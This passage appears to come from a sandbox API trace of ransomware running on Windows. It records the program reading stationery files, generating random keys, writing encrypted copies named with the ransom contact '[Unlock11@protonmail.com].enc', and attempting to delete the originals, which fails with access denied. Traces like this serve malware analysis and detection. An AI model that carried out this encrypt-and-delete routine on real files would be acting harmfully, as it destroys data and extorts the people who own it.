ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e)) returned 1 [0123.777] GetCurrentThreadId () returned 0x9b0 [0123.777] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f34 | out: pbBuffer=0x3664f34) returned 1 [0123.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0123.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0123.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0123.777] GetCurrentThreadId () returned 0x9b0 [0123.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0123.777] GetCurrentThreadId () returned 0x9b0 [0123.777] GetCurrentThreadId () returned 0x9b0 [0123.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.778] GetCurrentThreadId () returned 0x9b0 [0123.778] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.778] GetFileType (hFile=0x39c) returned 0x1 [0123.778] GetCurrentThreadId () returned 0x9b0 [0123.778] GetFileType (hFile=0x39c) returned 0x1 [0123.778] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.778] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.778] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.779] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.779] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.779] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.779] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.779] GetLastError () returned 0x0 [0123.779] GetCurrentThreadId () returned 0x9b0 [0123.779] GetLastError () returned 0x0 [0123.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0123.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0123.779] GetLastError () returned 0x0 [0123.779] GetLastError () returned 0x0 [0123.779] GetLastError () returned 0x0 [0123.780] GetLastError () returned 0x0 [0123.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653c8 [0123.780] GetLastError () returned 0x0 [0123.780] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.780] GetFileType (hFile=0x3ac) returned 0x1 [0123.780] GetLastError () returned 0x0 [0123.780] GetCurrentThreadId () returned 0x9b0 [0123.781] GetLastError () returned 0x0 [0123.781] GetFileType (hFile=0x3ac) returned 0x1 [0123.781] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.781] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.781] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.781] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.781] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.781] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.781] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.781] GetLastError () returned 0x0 [0123.781] GetCurrentThreadId () returned 0x9b0 [0123.781] GetLastError () returned 0x0 [0123.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0123.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0123.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0123.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.782] GetLastError () returned 0x0 [0123.782] GetLastError () returned 0x0 [0123.782] GetCurrentThreadId () returned 0x9b0 [0123.782] GetLastError () returned 0x0 [0123.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.782] GetLastError () returned 0x0 [0123.782] GetLastError () returned 0x0 [0123.783] GetCurrentThreadId () returned 0x9b0 [0123.783] GetLastError () returned 0x0 [0123.783] GetLastError () returned 0x0 [0123.784] GetLastError () returned 0x0 [0123.784] GetCurrentThreadId () returned 0x9b0 [0123.784] GetLastError () returned 0x0 [0123.785] GetCurrentThreadId () returned 0x9b0 [0123.785] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x1295) returned 0x36f8548 [0123.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265548 [0123.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1298) returned 0x35be9f8 [0123.785] GetLastError () returned 0x0 [0123.785] GetLastError () returned 0x0 [0123.785] GetLastError () returned 0x0 [0123.785] GetLastError () returned 0x0 [0123.785] GetCurrentThreadId () returned 0x9b0 [0123.785] GetLastError () returned 0x0 [0123.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0123.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.786] GetLastError () returned 0x0 [0123.787] GetLastError () returned 0x0 [0123.787] GetCurrentThreadId () returned 0x9b0 [0123.787] GetLastError () returned 0x0 [0123.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bfc98 | out: hHeap=0x2ad0000) returned 1 [0123.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f97e8 [0123.787] GetLastError () returned 0x0 [0123.787] GetLastError () returned 0x0 [0123.787] GetCurrentThreadId () returned 0x9b0 [0123.788] GetLastError () returned 0x0 [0123.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f97e8 | out: hHeap=0x2ad0000) returned 1 [0123.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.788] GetCurrentThreadId () returned 0x9b0 [0123.788] GetLastError () returned 0x0 [0123.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.791] CloseHandle (hObject=0x3ac) returned 1 [0123.791] GetLastError () returned 0x0 [0123.791] GetCurrentThreadId () returned 0x9b0 [0123.791] GetLastError () returned 0x0 [0123.791] GetLastError () returned 0x0 [0123.792] CloseHandle (hObject=0x39c) returned 1 [0123.792] GetLastError () returned 0x0 [0123.792] GetCurrentThreadId () returned 0x9b0 [0123.792] GetLastError () returned 0x0 [0123.792] GetLastError () returned 0x0 [0123.792] GetLastError () returned 0x0 [0123.792] GetLastError () returned 0x0 [0123.792] GetLastError () returned 0x0 [0123.792] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0 [0123.793] GetLastError () returned 0x5 [0123.793] GetCurrentThreadId () returned 0x9b0 [0123.793] GetLastError () returned 0x5 [0123.793] GetLastError () returned 0x5 [0123.793] GetLastError () returned 0x5 [0123.793] GetLastError () returned 0x5 [0123.793] LocalFree (hMem=0x1053c70) returned 0x0 [0123.793] GetLastError () returned 0x5 [0123.793] GetLastError () returned 0x5 [0123.793] GetLastError () returned 0x5 [0123.794] GetLastError () returned 0x5 [0123.794] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm", lpFilePart=0x9bada4*="Soft Blue.htm") returned 0x47 [0123.794] GetCurrentThreadId () returned 0x9b0 [0123.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.794] GetLastError () returned 0x0 [0123.794] GetLastError () returned 0x0 [0123.794] GetLastError () returned 0x0 [0123.795] GetLastError () returned 0x0 [0123.795] GetCurrentThreadId () returned 0x9b0 [0123.795] GetLastError () returned 0x0 [0123.795] GetCurrentThreadId () returned 0x9b0 [0123.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.795] GetLastError () returned 0x0 [0123.795] GetLastError () returned 0x0 [0123.795] GetLastError () returned 0x0 [0123.795] GetLastError () returned 0x0 [0123.795] GetCurrentThreadId () returned 0x9b0 [0123.796] GetLastError () returned 0x0 [0123.796] GetLastError () returned 0x0 [0123.796] GetLastError () returned 0x0 [0123.796] GetLastError () returned 0x0 [0123.796] GetLastError () returned 0x0 [0123.796] GetCurrentThreadId () returned 0x9b0 [0123.796] GetLastError () returned 0x0 [0123.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.796] GetLastError () returned 0x0 [0123.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.796] GetLastError () returned 0x0 [0123.797] GetLastError () returned 0x0 [0123.797] GetLastError () returned 0x0 [0123.797] GetCurrentThreadId () returned 0x9b0 [0123.797] GetLastError () returned 0x0 [0123.797] GetCurrentThreadId () returned 0x9b0 [0123.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0123.797] GetLastError () returned 0x0 [0123.797] GetLastError () returned 0x0 [0123.797] GetLastError () returned 0x0 [0123.797] GetLastError () returned 0x0 [0123.797] GetCurrentThreadId () returned 0x9b0 [0123.798] GetLastError () returned 0x0 [0123.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.798] GetLastError () returned 0x0 [0123.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0123.798] GetLastError () returned 0x0 [0123.798] GetLastError () returned 0x0 [0123.798] GetLastError () returned 0x0 [0123.798] GetCurrentThreadId () returned 0x9b0 [0123.798] GetLastError () returned 0x0 [0123.798] GetLastError () returned 0x0 [0123.798] GetLastError () returned 0x0 [0123.799] GetLastError () returned 0x0 [0123.799] GetLastError () returned 0x0 [0123.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.799] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1 [0123.799] GetLastError () returned 0x0 [0123.799] GetCurrentThreadId () returned 0x9b0 [0123.799] GetLastError () returned 0x0 [0123.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0123.799] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664df4 | out: pbBuffer=0x3664df4) returned 1 [0123.800] GetCurrentThreadId () returned 0x9b0 [0123.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0123.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.800] GetLastError () returned 0x0 [0123.800] GetLastError () returned 0x0 [0123.800] GetLastError () returned 0x0 [0123.800] GetLastError () returned 0x0 [0123.800] GetCurrentThreadId () returned 0x9b0 [0123.800] GetLastError () returned 0x0 [0123.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.801] GetCurrentThreadId () returned 0x9b0 [0123.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.801] GetLastError () returned 0x0 [0123.801] GetLastError () returned 0x0 [0123.801] GetLastError () returned 0x0 [0123.801] GetLastError () returned 0x0 [0123.801] GetCurrentThreadId () returned 0x9b0 [0123.801] GetLastError () returned 0x0 [0123.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265478 [0123.802] GetCurrentThreadId () returned 0x9b0 [0123.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a51d8 | out: hHeap=0x2ad0000) returned 1 [0123.802] GetLastError () returned 0x0 [0123.802] GetLastError () returned 0x0 [0123.802] GetLastError () returned 0x0 [0123.802] GetLastError () returned 0x0 [0123.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654d8 [0123.802] GetLastError () returned 0x0 [0123.802] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.803] GetFileType (hFile=0x39c) returned 0x1 [0123.803] GetLastError () returned 0x0 [0123.803] GetCurrentThreadId () returned 0x9b0 [0123.803] GetLastError () returned 0x0 [0123.803] GetFileType (hFile=0x39c) returned 0x1 [0123.803] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.804] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.804] GetLastError () returned 0x0 [0123.804] GetCurrentThreadId () returned 0x9b0 [0123.804] GetLastError () returned 0x0 [0123.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0123.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0123.804] GetLastError () returned 0x0 [0123.805] GetLastError () returned 0x0 [0123.805] GetLastError () returned 0x0 [0123.805] GetLastError () returned 0x0 [0123.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265558 [0123.805] GetLastError () returned 0x0 [0123.805] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.806] GetFileType (hFile=0x3ac) returned 0x1 [0123.806] GetLastError () returned 0x0 [0123.806] GetCurrentThreadId () returned 0x9b0 [0123.806] GetLastError () returned 0x0 [0123.806] GetFileType (hFile=0x3ac) returned 0x1 [0123.806] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.806] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.807] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.807] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.807] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.807] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.807] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.807] GetLastError () returned 0x0 [0123.807] GetCurrentThreadId () returned 0x9b0 [0123.807] GetLastError () returned 0x0 [0123.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265558 | out: hHeap=0x2ad0000) returned 1 [0123.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0123.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.807] GetLastError () returned 0x0 [0123.808] GetLastError () returned 0x0 [0123.808] GetCurrentThreadId () returned 0x9b0 [0123.808] GetLastError () returned 0x0 [0123.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.808] GetLastError () returned 0x0 [0123.808] GetLastError () returned 0x0 [0123.808] GetCurrentThreadId () returned 0x9b0 [0123.808] GetLastError () returned 0x0 [0123.808] GetLastError () returned 0x0 [0123.809] GetLastError () returned 0x0 [0123.809] GetCurrentThreadId () returned 0x9b0 [0123.809] GetLastError () returned 0x0 [0123.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265478 | out: hHeap=0x2ad0000) returned 1 [0123.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x35bd620 [0123.810] GetCurrentThreadId () returned 0x9b0 [0123.810] GetLastError () returned 0x0 [0123.810] GetLastError () returned 0x0 [0123.810] GetLastError () returned 0x0 [0123.810] GetLastError () returned 0x0 [0123.810] GetCurrentThreadId () returned 0x9b0 [0123.810] GetLastError () returned 0x0 [0123.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bd620 | out: hHeap=0x2ad0000) returned 1 [0123.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0123.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.811] GetLastError () returned 0x0 [0123.811] GetLastError () returned 0x0 [0123.811] GetCurrentThreadId () returned 0x9b0 [0123.811] GetLastError () returned 0x0 [0123.811] GetLastError () returned 0x0 [0123.811] GetLastError () returned 0x0 [0123.811] GetCurrentThreadId () returned 0x9b0 [0123.811] GetLastError () returned 0x0 [0123.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.812] GetLastError () returned 0x0 [0123.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.813] CloseHandle (hObject=0x3ac) returned 1 [0123.813] GetLastError () returned 0x0 [0123.813] GetCurrentThreadId () returned 0x9b0 [0123.813] GetLastError () returned 0x0 [0123.813] GetLastError () returned 0x0 [0123.813] CloseHandle (hObject=0x39c) returned 1 [0123.813] GetLastError () returned 0x0 [0123.813] GetCurrentThreadId () returned 0x9b0 [0123.813] GetLastError () returned 0x0 [0123.814] GetLastError () returned 0x0 [0123.814] GetLastError () returned 0x0 [0123.814] GetLastError () returned 0x0 [0123.814] GetLastError () returned 0x0 [0123.814] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0 [0123.814] GetLastError () returned 0x5 [0123.814] GetCurrentThreadId () returned 0x9b0 [0123.814] GetLastError () returned 0x5 [0123.814] GetLastError () returned 0x5 [0123.815] GetLastError () returned 0x5 [0123.815] GetLastError () returned 0x5 [0123.815] LocalFree (hMem=0x1053c90) returned 0x0 [0123.815] GetLastError () returned 0x5 [0123.815] GetLastError () returned 0x5 [0123.815] GetLastError () returned 0x5 [0123.815] GetLastError () returned 0x5 [0123.815] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x9bada4*="SoftBlue.jpg") returned 0x46 [0123.815] GetCurrentThreadId () returned 0x9b0 [0123.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.816] GetCurrentThreadId () returned 0x9b0 [0123.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.816] GetLastError () returned 0x0 [0123.816] GetLastError () returned 0x0 [0123.816] GetLastError () returned 0x0 [0123.816] GetLastError () returned 0x0 [0123.816] GetCurrentThreadId () returned 0x9b0 [0123.816] GetLastError () returned 0x0 [0123.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.817] GetLastError () returned 0x0 [0123.817] GetLastError () returned 0x0 [0123.817] GetLastError () returned 0x0 [0123.817] GetLastError () returned 0x0 [0123.817] GetCurrentThreadId () returned 0x9b0 [0123.817] GetLastError () returned 0x0 [0123.817] GetCurrentThreadId () returned 0x9b0 [0123.817] GetLastError () returned 0x0 [0123.817] GetLastError () returned 0x0 [0123.818] GetLastError () returned 0x0 [0123.818] GetLastError () returned 0x0 [0123.818] GetCurrentThreadId () returned 0x9b0 [0123.818] GetLastError () returned 0x0 [0123.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.818] GetLastError () returned 0x0 [0123.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.818] GetLastError () returned 0x0 [0123.818] GetLastError () returned 0x0 [0123.818] GetLastError () returned 0x0 [0123.818] GetCurrentThreadId () returned 0x9b0 [0123.818] GetLastError () returned 0x0 [0123.819] GetLastError () returned 0x0 [0123.819] GetLastError () returned 0x0 [0123.819] GetLastError () returned 0x0 [0123.819] GetLastError () returned 0x0 [0123.819] GetCurrentThreadId () returned 0x9b0 [0123.819] GetLastError () returned 0x0 [0123.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0123.819] GetLastError () returned 0x0 [0123.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0123.819] GetLastError () returned 0x0 [0123.820] GetLastError () returned 0x0 [0123.820] GetLastError () returned 0x0 [0123.820] GetCurrentThreadId () returned 0x9b0 [0123.820] GetLastError () returned 0x0 [0123.820] GetLastError () returned 0x0 [0123.820] GetLastError () returned 0x0 